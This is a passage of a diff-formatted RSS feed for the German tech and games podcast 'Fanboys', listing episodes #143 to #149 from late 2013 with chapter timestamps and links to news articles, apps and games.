+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%23149&amp;user_id=map&amp;title=Fanboys%20Episode%20149&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#149:" />
+ </item>
+ <item>
+ <title>Episode #148 - Wir sind durch</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Wir sind durch</itunes:subtitle>
+ <enclosure url="http://fanboys.fm/episodes/FAN148.mp3" length="32244406" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN148</guid>
+ <pubDate>Wed, 18 Dec 2013 18:56:37 +0100</pubDate>
+ <itunes:duration>01:11:02</itunes:duration>
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:06:06 SteamOS
+00:10:44 Mac Pro
+00:16:15 iBooks verschenkbar
+00:19:15 Carcassonne: Burgfräulein und Drache
+00:23:12 Hörerfeedback
+00:29:08 The Room 2
+00:36:56 The Novelist
+00:42:30 QuizUp
+00:44:46 The Wolf Among Us
+00:52:38 Walking Dead Season 2
+00:55:11 Castro
+01:01:30 Tydlig
+01:05:20 Ski Safari: Adventure Time
+01:10:30 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:06:06</td><td><a href="http://store.steampowered.com/steamos/" target="_blank">SteamOS</td></tr><tr><td>00:10:44</td><td><a href="http://appleinsider.com/articles/13/12/18/apples-new-cylindrical-mac-pro-desktop-arrives-thursday-starting-at-2999" target="_blank">Mac Pro</td></tr><tr><td>00:16:15</td><td><a href="http://9to5mac.com/2013/12/17/apple-enables-ibook-gifting-on-ios-and-os-x-ahead-of-the-holidays/" target="_blank">iBooks verschenkbar</td></tr><tr><td>00:19:15</td><td><a href="https://itunes.apple.com/us/app/carcassonne/id375295479?mt=8&amp;at=11lqBB&amp;ct=fanboys" target="_blank">Carcassonne: Burgfräulein und Drache</td></tr><tr><td>00:23:12</td><td><a href="http://audioboo.fm/boos/1803689-feedback-fur-die-fanb0ys-what-can-men-do-und-roleup" target="_blank">Hörerfeedback</td></tr><tr><td>00:29:08</td><td><a href="https://itunes.apple.com/de/app/the-room-two/id667362389?mt=8&amp;uo=4&amp;at=11lqBB" target="_blank">The Room 2</td></tr><tr><td>00:36:56</td><td><a href="http://www.thenovelistgame.com" target="_blank">The Novelist</td></tr><tr><td>00:42:30</td><td><a href="https://itunes.apple.com/us/app/quizup-biggest-trivia-game/id718421443?at=11lqBB&amp;ct=fanboys" target="_blank">QuizUp</td></tr><tr><td>00:44:46</td><td><a href="https://itunes.apple.com/us/app/the-wolf-among-us/id716238885?at=11lqBB&amp;ct=fanboys" target="_blank">The Wolf Among Us</td></tr><tr><td>00:52:38</td><td><a href="https://itunes.apple.com/de/app/walking-dead-the-game-season-2/id741183306?at=11lqBB&amp;ct=fanboys" target="_blank">Walking Dead Season 2</td></tr><tr><td>00:55:11</td><td><a href="https://itunes.apple.com/us/app/castro-high-fidelity-podcasts/id723142770?mt=8&amp;at=11lqBB&amp;ct=fanboys" target="_blank">Castro</td></tr><tr><td>01:01:30</td><td><a href="https://itunes.apple.com/us/app/tydlig-calculator-reimagined/id721606556?mt=8&amp;at=11lqBB&amp;ct=fanboys" target="_blank">Tydlig</td></tr><tr><td>01:05:20</td><td><a href="https://itunes.apple.com/US/app/id739234325?mt=8&amp;at=11lqBB&amp;ct=fanboys" target="_blank">Ski Safari: Adventure Time</td></tr><tr><td>01:10:30</td><td><a href="http://www.youtube.com/watch?v=PNQcdThO4ZA" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:06:06" title="SteamOS" href="http://store.steampowered.com/steamos/" />
+ <sc:chapter start="00:10:44" title="Mac Pro" href="http://appleinsider.com/articles/13/12/18/apples-new-cylindrical-mac-pro-desktop-arrives-thursday-starting-at-2999" />
+ <sc:chapter start="00:16:15" title="iBooks verschenkbar" href="http://9to5mac.com/2013/12/17/apple-enables-ibook-gifting-on-ios-and-os-x-ahead-of-the-holidays/" />
+ <sc:chapter start="00:19:15" title="Carcassonne: Burgfräulein und Drache" href="https://itunes.apple.com/us/app/carcassonne/id375295479?mt=8&amp;at=11lqBB&amp;ct=fanboys" />
+ <sc:chapter start="00:23:12" title="Hörerfeedback" href="http://audioboo.fm/boos/1803689-feedback-fur-die-fanb0ys-what-can-men-do-und-roleup" />
+ <sc:chapter start="00:29:08" title="The Room 2" href="https://itunes.apple.com/de/app/the-room-two/id667362389?mt=8&amp;uo=4&amp;at=11lqBB" />
+ <sc:chapter start="00:36:56" title="The Novelist" href="http://www.thenovelistgame.com" />
+ <sc:chapter start="00:42:30" title="QuizUp" href="https://itunes.apple.com/us/app/quizup-biggest-trivia-game/id718421443?at=11lqBB&amp;ct=fanboys" />
+ <sc:chapter start="00:44:46" title="The Wolf Among Us" href="https://itunes.apple.com/us/app/the-wolf-among-us/id716238885?at=11lqBB&amp;ct=fanboys" />
+ <sc:chapter start="00:52:38" title="Walking Dead Season 2" href="https://itunes.apple.com/de/app/walking-dead-the-game-season-2/id741183306?at=11lqBB&amp;ct=fanboys" />
+ <sc:chapter start="00:55:11" title="Castro" href="https://itunes.apple.com/us/app/castro-high-fidelity-podcasts/id723142770?mt=8&amp;at=11lqBB&amp;ct=fanboys" />
+ <sc:chapter start="01:01:30" title="Tydlig" href="https://itunes.apple.com/us/app/tydlig-calculator-reimagined/id721606556?mt=8&amp;at=11lqBB&amp;ct=fanboys" />
+ <sc:chapter start="01:05:20" title="Ski Safari: Adventure Time" href="https://itunes.apple.com/US/app/id739234325?mt=8&amp;at=11lqBB&amp;ct=fanboys" />
+ <sc:chapter start="01:10:30" title="Rausschmeisser" href="http://www.youtube.com/watch?v=PNQcdThO4ZA" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%23148&amp;user_id=map&amp;title=Fanboys%20Episode%20148&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#148:" />
+ </item>
+ <item>
+ <title>Episode #147 - Na Servus!</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Na Servus!</itunes:subtitle>
+ <enclosure url="http://fanboys.fm/episodes/FAN147.mp3" length="28114187" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN147</guid>
+ <pubDate>Fri, 13 Dec 2013 16:21:16 +0100</pubDate>
+ <itunes:duration>01:04:24</itunes:duration>
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:37 Aus
+00:00:53 Ein
+00:02:49 Poppy
+00:12:48 Hörerkommentar
+00:22:04 Hearthstone
+00:29:54 Homebrew
+00:31:50 ffmpeg -crf und co
+00:35:09 The Room Two
+00:52:54 Blek
+00:55:20 Russian Railroads
+00:57:22 Inkpad
+01:00:51 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:37</td><td>Aus</td></tr><tr><td>00:00:53</td><td>Ein</td></tr><tr><td>00:02:49</td><td><a href="http://poppy3d.com" target="_blank">Poppy</td></tr><tr><td>00:12:48</td><td><a href="http://cl.ly/1y1T1I062x00" target="_blank">Hörerkommentar</td></tr><tr><td>00:22:04</td><td><a href="http://eu.battle.net/hearthstone/en/" target="_blank">Hearthstone</td></tr><tr><td>00:29:54</td><td><a href="http://brew.sh" target="_blank">Homebrew</td></tr><tr><td>00:31:50</td><td><a href="https://trac.ffmpeg.org/wiki/x264EncodingGuide" target="_blank">ffmpeg -crf und co</td></tr><tr><td>00:35:09</td><td><a href="https://itunes.apple.com/de/app/the-room-two/id667362389?l=en&amp;mt=8" target="_blank">The Room Two</td></tr><tr><td>00:52:54</td><td><a href="https://itunes.apple.com/de/app/blek/id742625884?mt=8" target="_blank">Blek</td></tr><tr><td>00:55:20</td><td><a href="http://www.hans-im-glueck.de/russian-railroads/" target="_blank">Russian Railroads</td></tr><tr><td>00:57:22</td><td><a href="https://itunes.apple.com/de/app/inkpad/id400083414" target="_blank">Inkpad</td></tr><tr><td>01:00:51</td><td><a href="http://www.youtube.com/watch?v=QuOADRtSyoc" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:02:49" title="Poppy" href="http://poppy3d.com" />
+ <sc:chapter start="00:12:48" title="Hörerkommentar" href="http://cl.ly/1y1T1I062x00" />
+ <sc:chapter start="00:22:04" title="Hearthstone" href="http://eu.battle.net/hearthstone/en/" />
+ <sc:chapter start="00:29:54" title="Homebrew" href="http://brew.sh" />
+ <sc:chapter start="00:31:50" title="ffmpeg -crf und co" href="https://trac.ffmpeg.org/wiki/x264EncodingGuide" />
+ <sc:chapter start="00:35:09" title="The Room Two" href="https://itunes.apple.com/de/app/the-room-two/id667362389?l=en&amp;mt=8" />
+ <sc:chapter start="00:52:54" title="Blek" href="https://itunes.apple.com/de/app/blek/id742625884?mt=8" />
+ <sc:chapter start="00:55:20" title="Russian Railroads" href="http://www.hans-im-glueck.de/russian-railroads/" />
+ <sc:chapter start="00:57:22" title="Inkpad" href="https://itunes.apple.com/de/app/inkpad/id400083414" />
+ <sc:chapter start="01:00:51" title="Rausschmeisser" href="http://www.youtube.com/watch?v=QuOADRtSyoc" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%23147&amp;user_id=map&amp;title=Fanboys%20Episode%20147&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#147:" />
+ </item>
+ <item>
+ <title>Episode #146 - SCART scars</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>SCART scars</itunes:subtitle>
+ <enclosure url="http://fanboys.fm/episodes/FAN146.mp3" length="23739575" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN146</guid>
+ <pubDate>Thu, 05 Dec 2013 16:28:59 +0100</pubDate>
+ <itunes:duration>00:53:03</itunes:duration>
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:04:10 Amazon Prime Air
+00:11:20 iCloud Photostream die 3te
+00:16:06 Oceanhorn vs. Zelda
+00:21:44 Apple kauft Topsy
+00:24:58 Neues von der Drosselkom
+00:26:22 cmd.fm
+00:27:19 Zukunft: Bessere USB Stecker!
+00:32:54 Doctor Who
+00:38:52 Planet Money makes a Shirt
+00:41:13 Queers in love at the end of the world
+00:42:26 Concepts
+00:44:54 Double fine talks Broken Age
+00:45:49 Princess and Dragon
+00:49:16 Rausschmeisser
+00:59:21 Ein
+00:59:40 Plätzchen
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:04:10</td><td><a href="http://nymag.com/daily/intelligencer/2013/12/amazon-drones-and-pre-lobbying.html" target="_blank">Amazon Prime Air</td></tr><tr><td>00:11:20</td><td>iCloud Photostream die 3te</td></tr><tr><td>00:16:06</td><td>Oceanhorn vs. Zelda</td></tr><tr><td>00:21:44</td><td><a href="http://online.wsj.com/news/articles/SB10001424052702304854804579234450633315742" target="_blank">Apple kauft Topsy</td></tr><tr><td>00:24:58</td><td><a href="http://www.sueddeutsche.de/digital/festnetz-vertraege-telekom-hebt-drosselung-auf-1.1833159" target="_blank">Neues von der Drosselkom</td></tr><tr><td>00:26:22</td><td><a href="http://cmd.fm" target="_blank">cmd.fm</td></tr><tr><td>00:27:19</td><td><a href="http://www.bbc.co.uk/news/technology-25222101" target="_blank">Zukunft: Bessere USB Stecker!</td></tr><tr><td>00:32:54</td><td><a href="https://itunes.apple.com/de/tv-season/doctor-who-50th-anniversary/id712286444" target="_blank">Doctor Who</td></tr><tr><td>00:38:52</td><td><a href="http://apps.npr.org/tshirt/" target="_blank">Planet Money makes a Shirt</td></tr><tr><td>00:41:13</td><td><a href="http://auntiepixelante.com/endoftheworld/" target="_blank">Queers in love at the end of the world</td></tr><tr><td>00:42:26</td><td><a href="http://concepts.tophatch.com" target="_blank">Concepts</td></tr><tr><td>00:44:54</td><td><a href="http://www.gamespot.com/videos/broken-age-rethinking-a-classic-genre-for-the-mode/2300-6415966/" target="_blank">Double fine talks Broken Age</td></tr><tr><td>00:45:49</td><td><a href="https://medium.com/p/f5109b2e0c4a" target="_blank">Princess and Dragon</td></tr><tr><td>00:49:16</td><td><a href="http://www.escapistmagazine.com/videos/view/jimquisition/8514-Fun-Pay-Wall" target="_blank">Rausschmeisser</td></tr><tr><td>00:59:21</td><td>Ein</td></tr><tr><td>00:59:40</td><td><a href="https://twitter.com/tuxinaut/" target="_blank">Plätzchen</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:04:10" title="Amazon Prime Air" href="http://nymag.com/daily/intelligencer/2013/12/amazon-drones-and-pre-lobbying.html" />
+ <sc:chapter start="00:11:20" title="iCloud Photostream die 3te" />
+ <sc:chapter start="00:16:06" title="Oceanhorn vs. Zelda" />
+ <sc:chapter start="00:21:44" title="Apple kauft Topsy" href="http://online.wsj.com/news/articles/SB10001424052702304854804579234450633315742" />
+ <sc:chapter start="00:24:58" title="Neues von der Drosselkom" href="http://www.sueddeutsche.de/digital/festnetz-vertraege-telekom-hebt-drosselung-auf-1.1833159" />
+ <sc:chapter start="00:26:22" title="cmd.fm" href="http://cmd.fm" />
+ <sc:chapter start="00:27:19" title="Zukunft: Bessere USB Stecker!" href="http://www.bbc.co.uk/news/technology-25222101" />
+ <sc:chapter start="00:32:54" title="Doctor Who" href="https://itunes.apple.com/de/tv-season/doctor-who-50th-anniversary/id712286444" />
+ <sc:chapter start="00:38:52" title="Planet Money makes a Shirt" href="http://apps.npr.org/tshirt/" />
+ <sc:chapter start="00:41:13" title="Queers in love at the end of the world" href="http://auntiepixelante.com/endoftheworld/" />
+ <sc:chapter start="00:42:26" title="Concepts" href="http://concepts.tophatch.com" />
+ <sc:chapter start="00:44:54" title="Double fine talks Broken Age" href="http://www.gamespot.com/videos/broken-age-rethinking-a-classic-genre-for-the-mode/2300-6415966/" />
+ <sc:chapter start="00:45:49" title="Princess and Dragon" href="https://medium.com/p/f5109b2e0c4a" />
+ <sc:chapter start="00:49:16" title="Rausschmeisser" href="http://www.escapistmagazine.com/videos/view/jimquisition/8514-Fun-Pay-Wall" />
+ <sc:chapter start="00:59:40" title="Plätzchen" href="https://twitter.com/tuxinaut/" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%23146&amp;user_id=map&amp;title=Fanboys%20Episode%20146&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#146:" />
+ </item>
+ <item>
+ <title>Episode #145 - Die stille Podcasttreppe</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Die stille Podcasttreppe</itunes:subtitle>
+ <enclosure url="http://fanboys.fm/episodes/FAN145.mp3" length="30364774" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN145</guid>
+ <pubDate>Thu, 28 Nov 2013 16:41:49 +0100</pubDate>
+ <itunes:duration>01:06:30</itunes:duration>
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:06:02 Roter Mac Pro verkauft sich für 977000 Dollar
+00:08:13 Gruseltags und gruseltabbed Finder
+00:21:12 Videos im App Store?
+00:24:18 Google Voice Search für Chrome
+00:31:57 Konsolenverkäufe und die Wii U
+00:39:39 Jetzt auch auf Steam: Reviews
+00:41:17 Lytro-artiges Patent von Apple
+00:45:22 iCloud photostream Begrenzungen
+00:49:02 YNAB
+00:52:51 Mosaika
+00:55:23 MULE Returns
+00:57:17 Lost Cities
+00:57:38 Zicke Zacke Hühnerkacke
+00:58:15 MindNode 3
+00:59:26 Castle of Illusion
+01:02:37 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:06:02</td><td><a href="http://appleinsider.com/articles/13/11/23/product-red-mac-pro-auction-brings-in-977000-gold-earpods-sold-for-461000" target="_blank">Roter Mac Pro verkauft sich für 977000 Dollar</td></tr><tr><td>00:08:13</td><td>Gruseltags und gruseltabbed Finder</td></tr><tr><td>00:21:12</td><td><a href="http://toucharcade.com/2013/11/21/apple-adds-embedded-trailer-in-app-store-feature-of-clumsy-ninja/" target="_blank">Videos im App Store?</td></tr><tr><td>00:24:18</td><td><a href="https://chrome.google.com/webstore/detail/google-voice-search-hotwo/bepbmhgboaologfdajaanbcjmnhjmhfn" target="_blank">Google Voice Search für Chrome</td></tr><tr><td>00:31:57</td><td><a href="http://bgr.com/2013/11/26/xbox-one-wii-u-sales-comparison/" target="_blank">Konsolenverkäufe und die Wii U</td></tr><tr><td>00:39:39</td><td><a href="http://store.steampowered.com/reviews/" target="_blank">Jetzt auch auf Steam: Reviews</td></tr><tr><td>00:41:17</td><td><a href="http://www.cultofmac.com/255804/apple-patents-magic-tech-that-will-let-you-refocus-your-iphone-photos/" target="_blank">Lytro-artiges Patent von Apple</td></tr><tr><td>00:45:22</td><td><a href="http://daringfireball.net/linked/2013/11/23/icloud-photo-stream-" target="_blank">iCloud photostream Begrenzungen</td></tr><tr><td>00:49:02</td><td><a href="http://www.youneedabudget.com" target="_blank">YNAB</td></tr><tr><td>00:52:51</td><td><a href="https://itunes.apple.com/de/app/mosaika/id515840296" target="_blank">Mosaika</td></tr><tr><td>00:55:23</td><td><a href="http://mulereturns.com" target="_blank">MULE Returns</td></tr><tr><td>00:57:17</td><td><a href="https://itunes.apple.com/us/app/lost-cities/id465062454?ls=1&amp;mt=8" target="_blank">Lost Cities</td></tr><tr><td>00:57:38</td><td><a href="https://itunes.apple.com/de/app/chicken-cha-cha-cha/id664654543?l=de&amp;mt=8" target="_blank">Zicke Zacke Hühnerkacke</td></tr><tr><td>00:58:15</td><td><a href="https://itunes.apple.com/us/app/mindnode/id312220102?mt=8" target="_blank">MindNode 3</td></tr><tr><td>00:59:26</td><td><a href="https://itunes.apple.com/us/app/castle-illusion-starring-mickey/id646489967" target="_blank">Castle of Illusion</td></tr><tr><td>01:02:37</td><td><a href="http://www.youtube.com/watch?v=Hnrb6vXNw7g" target="_blank">Rausschmeisser</td></tr><tr><td>01:02:39</td><td>Ein</td></tr><tr><td>01:02:43</td><td>Aus</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:06:02" title="Roter Mac Pro verkauft sich für 977000 Dollar" href="http://appleinsider.com/articles/13/11/23/product-red-mac-pro-auction-brings-in-977000-gold-earpods-sold-for-461000" />
+ <sc:chapter start="00:08:13" title="Gruseltags und gruseltabbed Finder" />
+ <sc:chapter start="00:21:12" title="Videos im App Store?" href="http://toucharcade.com/2013/11/21/apple-adds-embedded-trailer-in-app-store-feature-of-clumsy-ninja/" />
+ <sc:chapter start="00:24:18" title="Google Voice Search für Chrome" href="https://chrome.google.com/webstore/detail/google-voice-search-hotwo/bepbmhgboaologfdajaanbcjmnhjmhfn" />
+ <sc:chapter start="00:31:57" title="Konsolenverkäufe und die Wii U" href="http://bgr.com/2013/11/26/xbox-one-wii-u-sales-comparison/" />
+ <sc:chapter start="00:39:39" title="Jetzt auch auf Steam: Reviews" href="http://store.steampowered.com/reviews/" />
+ <sc:chapter start="00:41:17" title="Lytro-artiges Patent von Apple" href="http://www.cultofmac.com/255804/apple-patents-magic-tech-that-will-let-you-refocus-your-iphone-photos/" />
+ <sc:chapter start="00:45:22" title="iCloud photostream Begrenzungen" href="http://daringfireball.net/linked/2013/11/23/icloud-photo-stream-" />
+ <sc:chapter start="00:49:02" title="YNAB" href="http://www.youneedabudget.com" />
+ <sc:chapter start="00:52:51" title="Mosaika" href="https://itunes.apple.com/de/app/mosaika/id515840296" />
+ <sc:chapter start="00:55:23" title="MULE Returns" href="http://mulereturns.com" />
+ <sc:chapter start="00:57:17" title="Lost Cities" href="https://itunes.apple.com/us/app/lost-cities/id465062454?ls=1&amp;mt=8" />
+ <sc:chapter start="00:57:38" title="Zicke Zacke Hühnerkacke" href="https://itunes.apple.com/de/app/chicken-cha-cha-cha/id664654543?l=de&amp;mt=8" />
+ <sc:chapter start="00:58:15" title="MindNode 3" href="https://itunes.apple.com/us/app/mindnode/id312220102?mt=8" />
+ <sc:chapter start="00:59:26" title="Castle of Illusion" href="https://itunes.apple.com/us/app/castle-illusion-starring-mickey/id646489967" />
+ <sc:chapter start="01:02:37" title="Rausschmeisser" href="http://www.youtube.com/watch?v=Hnrb6vXNw7g" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%23145&amp;user_id=map&amp;title=Fanboys%20Episode%20145&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#145:" />
+ </item>
+ <item>
+ <title>Episode #144 - Ein Dutzend Gros-e Schocks</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Ein Dutzend Gros-e Schocks</itunes:subtitle>
+ <enclosure url="http://fanboys.fm/episodes/FAN144.mp3" length="27110538" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN144</guid>
+ <pubDate>Thu, 21 Nov 2013 17:41:15 +0100</pubDate>
+ <itunes:duration>01:00:14</itunes:duration>
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:03:14 iPhone 5c floppt
+00:07:59 Apple kauft PrimeSense
+00:14:39 Valve baut auch VR Hardware
+00:20:19 Twitter rudert bei DMs zurück
+00:25:55 Erste iOS Controller erscheinen
+00:32:49 Next-gen Konsolen in Amerika auf dem Markt
+00:37:34 Oceanhorn durchgespielt
+00:47:03 Lescheks Flug von Sebastian Stamm
+00:49:23 Desert Bus for Hope
+00:50:36 Zuki's Quest
+00:54:12 Match a number
+00:57:30 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:03:14</td><td><a href="http://www.macrumors.com/2013/11/18/foxconns-zhengzhou-factory-to-reportedly-cease-production-of-iphone-5c/" target="_blank">iPhone 5c floppt</td></tr><tr><td>00:07:59</td><td><a href="http://www.digitaltrends.com/home-theater/apple-primesense/" target="_blank">Apple kauft PrimeSense</td></tr><tr><td>00:14:39</td><td><a href="http://www.engadget.com/2013/11/18/valve-developer-days-vr-prototype-steam/" target="_blank">Valve baut auch VR Hardware</td></tr><tr><td>00:20:19</td><td><a href="http://www.engadget.com/2013/11/19/twitter-pulls-messaging-non-followers/" target="_blank">Twitter rudert bei DMs zurück</td></tr><tr><td>00:25:55</td><td><a href="http://www.polygon.com/2013/11/19/5116028/one-of-the-first-official-ios-controllers-sets-a-low-bar-for-the" target="_blank">Erste iOS Controller erscheinen</td></tr><tr><td>00:32:49</td><td><a href="http://www.polygon.com/a/xbox-one-review" target="_blank">Next-gen Konsolen in Amerika auf dem Markt</td></tr><tr><td>00:37:34</td><td>Oceanhorn durchgespielt</td></tr><tr><td>00:47:03</td><td><a href="http://www.rotopolpress.de/produkte/lescheks-flug" target="_blank">Lescheks Flug von Sebastian Stamm</td></tr><tr><td>00:49:23</td><td><a href="http://desertbus.org" target="_blank">Desert Bus for Hope</td></tr><tr><td>00:50:36</td><td><a href="https://itunes.apple.com/de/app/zukis-quest-turn-based-puzzle/id687112608?mt=8" target="_blank">Zuki's Quest</td></tr><tr><td>00:51:00</td><td>KONSUM</td></tr><tr><td>00:54:12</td><td><a href="https://itunes.apple.com/de/app/match-a-number/id734079225?mt=8" target="_blank">Match a number</td></tr><tr><td>00:57:30</td><td><a href="http://www.youtube.com/watch?v=-O2Lbmwuyyc" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:03:14" title="iPhone 5c floppt" href="http://www.macrumors.com/2013/11/18/foxconns-zhengzhou-factory-to-reportedly-cease-production-of-iphone-5c/" />
+ <sc:chapter start="00:07:59" title="Apple kauft PrimeSense" href="http://www.digitaltrends.com/home-theater/apple-primesense/" />
+ <sc:chapter start="00:14:39" title="Valve baut auch VR Hardware" href="http://www.engadget.com/2013/11/18/valve-developer-days-vr-prototype-steam/" />
+ <sc:chapter start="00:20:19" title="Twitter rudert bei DMs zurück" href="http://www.engadget.com/2013/11/19/twitter-pulls-messaging-non-followers/" />
+ <sc:chapter start="00:25:55" title="Erste iOS Controller erscheinen" href="http://www.polygon.com/2013/11/19/5116028/one-of-the-first-official-ios-controllers-sets-a-low-bar-for-the" />
+ <sc:chapter start="00:32:49" title="Next-gen Konsolen in Amerika auf dem Markt" href="http://www.polygon.com/a/xbox-one-review" />
+ <sc:chapter start="00:37:34" title="Oceanhorn durchgespielt" />
+ <sc:chapter start="00:47:03" title="Lescheks Flug von Sebastian Stamm" href="http://www.rotopolpress.de/produkte/lescheks-flug" />
+ <sc:chapter start="00:49:23" title="Desert Bus for Hope" href="http://desertbus.org" />
+ <sc:chapter start="00:50:36" title="Zuki's Quest" href="https://itunes.apple.com/de/app/zukis-quest-turn-based-puzzle/id687112608?mt=8" />
+ <sc:chapter start="00:54:12" title="Match a number" href="https://itunes.apple.com/de/app/match-a-number/id734079225?mt=8" />
+ <sc:chapter start="00:57:30" title="Rausschmeisser" href="http://www.youtube.com/watch?v=-O2Lbmwuyyc" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%23144&amp;user_id=map&amp;title=Fanboys%20Episode%20144&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#144:" />
+ </item>
+ <item>
+ <title>Episode #143 - Reliefpfeile</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Reliefpfeile</itunes:subtitle>
+ <enclosure url="http://fanboys.fm/episodes/FAN143.mp3" length="28686373" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN143</guid>
+ <pubDate>Thu, 14 Nov 2013 17:38:05 +0100</pubDate>
+ <itunes:duration>01:02:44</itunes:duration>
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:02:34 iPad Mini Retina
+00:07:36 AppleTV doch erst mal nicht
+00:11:19 Youtube-Google-Plus-Verplombung
+00:16:57 Byebye Daumen
+00:19:40 Facebook Messenger jetzt WhatsUp Ersatz
+00:29:20 2 Dreams Postmortem
+00:33:46 HackPad
+00:36:14 BitTorrent sync für iOS
+00:39:15 Obduction ist gefundet
+00:44:26 Symmetrain
+00:46:17 Walking Dead
+00:53:30 Oceanhorn
+00:56:32 Xcom Nachtrag
+01:00:02 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:02:34</td><td><a href="http://www.eddale.co/general/smart-move-apple" target="_blank">iPad Mini Retina</td></tr><tr><td>00:07:36</td><td><a href="http://www.displaysearchblog.com/2013/11/apples-long-rumored-tv-ambitions-on-hold-again/" target="_blank">AppleTV doch erst mal nicht</td></tr><tr><td>00:11:19</td><td><a href="http://vihart.com/google-youtube-integration-kind-of-like-twilight-except-in-this-version-when-cullen-drinks-bellatubes-blood-they-both-become-mortal-but-cullen-is-still-an-abusive-creep-also-it-is-still-bad/" target="_blank">Youtube-Google-Plus-Verplombung</td></tr><tr><td>00:16:57</td><td><a href="http://www.chip.de/news/Facebook-Der-Like-Button-verliert-den-Daumen_65302449.html" target="_blank">Byebye Daumen</td></tr><tr><td>00:19:40</td><td><a href="http://techcrunch.com/2013/11/13/facebook-phone-number-messenger/" target="_blank">Facebook Messenger jetzt WhatsUp Ersatz</td></tr><tr><td>00:29:20</td><td><a href="http://www.137b.org/?p=2954" target="_blank">2 Dreams Postmortem</td></tr><tr><td>00:33:46</td><td><a href="https://hackpad.com" target="_blank">HackPad</td></tr><tr><td>00:36:14</td><td><a href="https://itunes.apple.com/de/app/bittorrent-sync/id665156116?l=en&amp;mt=8" target="_blank">BitTorrent sync für iOS</td></tr><tr><td>00:39:15</td><td><a href="http://www.kickstarter.com/projects/cyaninc/obduction" target="_blank">Obduction ist gefundet</td></tr><tr><td>00:44:26</td><td><a href="https://itunes.apple.com/de/app/symmetrain/id725274537?mt=8" target="_blank">Symmetrain</td></tr><tr><td>00:46:17</td><td><a href="https://itunes.apple.com/de/app/walking-dead-the-game/id524731580?l=en&amp;mt=8" target="_blank">Walking Dead</td></tr><tr><td>00:53:30</td><td><a href="https://itunes.apple.com/nz/app/oceanhorn/id708196645?mt=8" target="_blank">Oceanhorn</td></tr><tr><td>00:56:32</td><td><a 